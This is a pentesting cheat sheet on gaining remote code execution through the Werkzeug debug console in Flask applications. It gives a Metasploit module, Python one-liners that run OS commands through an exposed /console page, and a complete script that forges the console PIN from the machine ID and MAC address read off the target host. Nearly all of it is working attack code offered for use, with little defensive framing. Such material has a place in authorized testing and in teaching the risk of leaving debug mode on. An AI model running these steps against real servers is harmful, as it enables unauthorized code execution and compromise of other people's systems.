Werkzeug Pentesting
Last modified: 2023-03-11
Werkzeug is a comprehensive WSGI web application library.
Werkzeug is used for Flask application.
Remote Code Execution (RCE) in Console
Metasploit
msfconsole
msf> use exploit/multi/http/werkzeug_debug_rce
Manual Exploitation
If you can access to '/console' page, you may be able to execute RCE.
__import__('os').popen('whoami').read();
import os; print(os.popen("whoami").read())
Console PIN Exploit
If the website is locked by PIN code in the '/console' page, you need to unlock it.
Reference: https://www.daehee.com/werkzeug-console-pin-exploit/
def get_pin_and_cookie_name(app):
pin = os.environ.get('WERKZEUG_DEBUG_PIN')
rv = None
num = None
# Pin was explicitly disabled
if pin == 'off':
return None, None
# Pin was provided explicitly
if pin is not None and pin.replace('-', '').isdigit():
# If there are separators in the pin, return it directly
if '-' in pin:
rv = pin
else:
num = pin
modname = getattr(app, '__module__',
getattr(app.__class__, '__module__'))
try:
# `getpass.getuser()` imports the `pwd` module,
# which does not exist in the Google App Engine sandbox.
username = getpass.getuser()
except ImportError:
username = None
mod = sys.modules.get(modname)
# This information only exists to make the cookie unique on the
# computer, not as a security feature.
probably_public_bits = [
username,
modname,
getattr(app, '__name__', getattr(app.__class__, '__name__')),
getattr(mod, '__file__', None),
]
# This information is here to make it harder for an attacker to
# guess the cookie name. They are unlikely to be contained anywhere
# within the unauthenticated debug page.
private_bits = [
str(uuid.getnode()),
get_machine_id(),
]
h = hashlib.md5()
for bit in chain(probably_public_bits, private_bits):
if not bit:
continue
if isinstance(bit, text_type):
bit = bit.encode('utf-8')
h.update(bit)
h.update(b'cookiesalt')
cookie_name = '__wzd' + h.hexdigest()[:20]
# If we need to generate a pin we salt it a bit more so that we don't
# end up with the same value and generate out 9 digits
if num is None:
h.update(b'pinsalt')
num = ('%09d' % int(h.hexdigest(), 16))[:9]
# Format the pincode in groups of digits for easier remembering if
# we don't have a result yet.
if rv is None:
for group_size in 5, 4, 3:
if len(num) % group_size == 0:
rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')
for x in range(0, len(num), group_size))
break
else:
rv = num
return rv, cookie_name
Variable needed to exploit the console PIN.
probably_public_bits = [
username,
modname,
getattr(app, '__name__', getattr(app.__class__, '__name__')),
getattr(mod, '__file__', None),
]
private_bits = [
str(uuid.getnode()),
get_machine_id(),
]
Once all variable prepared, run the following script to generate the console PIN:
import hashlib
from itertools import chain
probably_public_bits = [
'user',# username
'flask.app',# modname
'Flask',# getattr(app, '__name__', getattr(app.__class__, '__name__'))
'/usr/local/lib/python3.5/dist-packages/flask/app.py' # getattr(mod, '__file__', None),
]
private_bits = [
'279275995014060',# str(uuid.getnode()), /sys/class/net/ens33/address
'd4e6cb65d59544f3331ea0425dc555a1'# get_machine_id(), /etc/machine-id
]
h = hashlib.md5()
for bit in chain(probably_public_bits, private_bits):
if not bit:
continue
if isinstance(bit, str):
bit = bit.encode('utf-8')
h.update(bit)
h.update(b'cookiesalt')
#h.update(b'shittysalt')
cookie_name = '__wzd' + h.hexdigest()[:20]
num = None
if num is None:
h.update(b'pinsalt')
num = ('%09d' % int(h.hexdigest(), 16))[:9]
rv =None
if rv is None:
for group_size in 5, 4, 3:
if len(num) % group_size == 0:
rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')
for x in range(0, len(num), group_size))
break
else:
rv = num
print(rv)
